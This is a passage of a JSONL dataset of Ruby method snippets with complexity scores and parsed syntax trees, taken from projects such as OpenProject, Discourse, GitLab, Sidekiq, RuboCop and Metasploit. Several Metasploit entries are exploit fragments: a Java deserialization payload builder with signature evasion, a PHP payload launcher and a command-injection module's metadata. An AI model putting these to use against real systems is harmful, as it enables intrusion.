type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"insert\",{\"type\":\"lvar\",\"children\":[\"insert_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"delete_at\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"insert_at\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvar\",\"children\":[\"arr\"]}]}]}","id":"b7cfaf58-fd8a-46e4-942c-53e479624ea5"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":317,"raw_source":"def subject_field\n      expect(page).to have_css(\".inline-edit--container.subject input\", wait: 10)\n      find(\".inline-edit--container.subject input\")\n    end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"subject_field\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".inline-edit--container.subject input\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".inline-edit--container.subject input\"]}]}]}]}","id":"60638238-f388-4436-b0f8-a160a34b4c8b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/llm_credit_allocation.rb","start_line":86,"raw_source":"def deduct_credits!(credits)\n    with_lock do\n      self.monthly_used += credits\n      save!\n    end\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deduct_credits!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credits\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"monthly_used\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"credits\"]}]},{\"type\":\"send\",\"children\":[null,\"save!\"]}]}]}]}","id":"9864e905-7488-41d3-b0ba-0121cafbcade"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/issues/list/filtered_search/recent_searches_spec.rb","start_line":105,"raw_source":"def submit_then_clear_search(search)\n    click_filtered_search_bar\n    send_keys(search, :enter, :enter)\n    click_button 'Clear'\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"submit_then_clear_search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"search\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_filtered_search_bar\"]},{\"type\":\"send\",\"children\":[null,\"send_keys\",{\"type\":\"lvar\",\"children\":[\"search\"]},{\"type\":\"sym\",\"children\":[\"enter\"]},{\"type\":\"sym\",\"children\":[\"enter\"]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Clear\"]}]}]}]}","id":"e20aa84a-e9c2-486d-9b92-0010fae968dd"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/index.rb","start_line":523,"raw_source":"def boolean_filter?(filter)\n        %w[active member_of favorited public templated].include?(filter.to_s)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"boolean_filter?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"active\"]},{\"type\":\"str\",\"children\":[\"member_of\"]},{\"type\":\"str\",\"children\":[\"favorited\"]},{\"type\":\"str\",\"children\":[\"public\"]},{\"type\":\"str\",\"children\":[\"templated\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"to_s\"]}]}]}","id":"2656d7f0-02a9-4d03-a837-7e7bb538f530"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/metrics/query.rb","start_line":170,"raw_source":"def fetch_marks(time_range, granularity)\n        [].tap do |result|\n          marks = @pool.with { |c| c.hgetall(\"#{@time.strftime(\"%Y%m%d\")}-marks\") }\n\n          marks.each do |timestamp, label|\n            time = Time.parse(timestamp)\n            if time_range.cover? time\n              result << MarkResult.new(time, label, Query.bkt_time_s(time, granularity))\n            end\n          end\n        end\n      end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_marks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time_range\"]},{\"type\":\"arg\",\"children\":[\"granularity\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"marks\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"hgetall\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@time\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d\"]}]}]},{\"type\":\"str\",\"children\":[\"-marks\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"marks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timestamp\"]},{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_range\"]},\"cover?\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MarkResult\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Query\"]},\"bkt_time_s\",{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"granularity\"]}]}]}]},null]}]}]}]}]}]}","id":"75afad49-9df6-41e2-ac6d-0b6ad38308c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/x7chat2_php_exec.rb","start_line":195,"raw_source":"def exploit\n    unless exec_php(payload.encoded)\n      fail_with(Failure::Unknown, \"#{peer} - Exploit failed, aborting.\")\n    end\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exec_php\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Exploit failed, aborting.\"]}]}]}]}]}","id":"e3b9a445-c6e8-46c1-bec4-c9a758de573a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/percent_array.rb","start_line":14,"raw_source":"def invalid_percent_array_context?(node)\n        parent = node.parent\n\n        parent&.send_type? && parent.arguments.include?(node) &&\n          !parent.parenthesized? && parent.block_literal?\n      end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_percent_array_context?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"arguments\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"parenthesized?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"block_literal?\"]}]}]}]}","id":"d7ffbefc-1131-4d76-bb65-2e6e3280db84"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/java_deserialization.rb","start_line":12,"raw_source":"def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none')\n    payloads_json = load_ysoserial_data(modified_type)\n\n    # Extract the specified payload (status, lengthOffset, bufferOffset, bytes)\n    payload = payloads_json[payload_name]\n\n    raise ArgumentError, \"#{payload_name} payload not found in ysoserial payloads\" if payload.nil?\n\n    # Based on the status, we'll raise an exception, return a static payload, or\n    # generate a dynamic payload with modifications at the specified offsets\n    case payload['status']\n    when 'unsupported'\n      # This exception will occur most commonly with complex payloads that require more than a string\n      raise ArgumentError, 'ysoserial payload is unsupported'\n    when 'static'\n      # TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it\n      return Rex::Text.decode_base64(payload['bytes'])\n    when 'dynamic'\n      raise ArgumentError, 'missing command parameter' if command.nil?\n\n      bytes = Rex::Text.decode_base64(payload['bytes'])\n\n      # Insert buffer\n      buffer_offset  = payload['bufferOffset'].first   #TODO: Do we ever need to support multiple buffers?\n      bytes[buffer_offset - 1] += command\n\n      # Overwrite length (multiple times, if necessary)\n      length_offsets = payload['lengthOffset']\n      length_offsets.each do |length_offset|\n        # Extract length as a 16-bit unsigned int, then add the length of the command string\n        length  = bytes[(length_offset-1)..length_offset].unpack('n').first\n        length += command.length.ord\n        length  = [length].pack(\"n\")\n        bytes[(length_offset-1)..length_offset] = length\n      end\n\n      # Replace \"ysoserial\\/Pwner\" timestamp and \"ysoserial\" string with randomness for evasion\n      bytes.gsub!('ysoserial/Pwner00000000000000', Rex::Text.rand_text_alphanumeric(29))\n      bytes.gsub!('ysoserial', Rex::Text.rand_text_alphanumeric(9))\n\n      return bytes\n    else\n      raise RuntimeError, 'Malformed JSON file'\n    end\n  end","complexity_score":62.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ysoserial_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload_name\"]},{\"type\":\"optarg\",\"children\":[\"command\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"modified_type\",{\"type\":\"str\",\"children\":[\"none\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payloads_json\",{\"type\":\"send\",\"children\":[null,\"load_ysoserial_data\",{\"type\":\"lvar\",\"children\":[\"modified_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads_json\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"str\",\"children\":[\" payload not found in ysoserial payloads\"]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"unsupported\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"ysoserial payload is unsupported\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"static\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"bytes\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"dynamic\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"missing command parameter\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"bytes\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buffer_offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"bufferOffset\"]}]},\"first\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer_offset\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"lvasgn\",\"children\":[\"length_offsets\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lengthOffset\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length_offsets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length_offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length_offset\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"length_offset\"]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"n\"]}]},\"first\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"length\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"length\"]},\"ord\"]}]},{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"[]=\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length_offset\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"length_offset\"]}]},{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"ysoserial/Pwner00000000000000\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[29]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"ysoserial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"Malformed JSON file\"]}]}]}]}]}","id":"112c00ae-9879-43c3-831c-74773afcd1df"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb","start_line":341,"raw_source":"def handle_response(res)\n    if (res and res.code != 500 and res.code != 200)\n      fail_with(Failure::NoAccess, \"#{rhost}:#{rport} - Invalid server response\")\n    elsif res and res.code == 500\n      body = res.body\n      if body.match(/Invalid Credentials/i)\n        print_error(\"#{rhost}:#{rport} - The Supplied credentials are incorrect\")\n        fail_with(Failure::NoAccess, \"#{rhost}:#{rport} - Exploit not complete, check credentials\")\n      elsif body.match(/Permission denied/i)\n        print_error(\"#{rhost}:#{rport} - The Supplied credentials are valid, but lack OSExecute permissions\")\n        fail_with(Failure::NoAccess, \"#{rhost}:#{rport} - Exploit not complete, check credentials\")\n      end\n      fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working\")\n    end\n  end","complexity_score":50.35,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[500]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Invalid server response\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[500]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid Credentials\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - The Supplied credentials are incorrect\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Exploit not complete, check credentials\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Permission denied\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - The Supplied credentials are valid, but lack OSExecute permissions\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Exploit not complete, check credentials\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Exploit not complete, OSExecute isn't working\"]}]}]}]},null]}]}]}","id":"e4e2ec5c-dff7-4576-be97-389e6c2166a0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/emc/alphastor_device_manager_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'EMC AlphaStor Device Manager Opcode 0x75 Command Injection',\n        'Description' => %q{\n          This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75\n          command, the process does not properly filter user supplied input allowing for arbitrary\n          command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116\n          with Windows 2003 SP2 and Windows 2008 R2.\n        },\n        'Author' => [\n          'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery\n          'Preston Thornburn <prestonthornburg[at]gmail.com>', # msf module\n          'Mohsan Farid <faridms[at]gmail.com>',               # msf module\n          'Brent Morris <inkrypto[at]gmail.com>',              # msf module\n          'juan vazquez'                                       # convert aux module into exploit\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2013-0928'],\n          ['ZDI', '13-033']\n        ],\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'Payload' => {\n          'Space' => 2048,\n          'DisableNops' => true\n        },\n        'Targets' => [\n          [ 'EMC AlphaStor 4.0 < build 800 / Windows Universal', {} ]\n        ],\n        'CmdStagerFlavor' => 'vbs',\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2013-01-18',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(3000)\n      ]\n    )\n  end","complexity_score":5.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"EMC AlphaStor Device Manager Opcode 0x75 Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75\\n\"]},{\"type\":\"str\",\"children\":[\"          command, the process does not properly filter user supplied input allowing for arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\"          command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116\\n\"]},{\"type\":\"str\",\"children\":[\"          with Windows 2003 SP2 and Windows 2008 R2.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Anyway <Aniway.Anyway[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Preston Thornburn <prestonthornburg[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Mohsan Farid <faridms[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Brent Morris <inkrypto[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-0928\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"13-033\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EMC AlphaStor 4.0 < build 800 / Windows 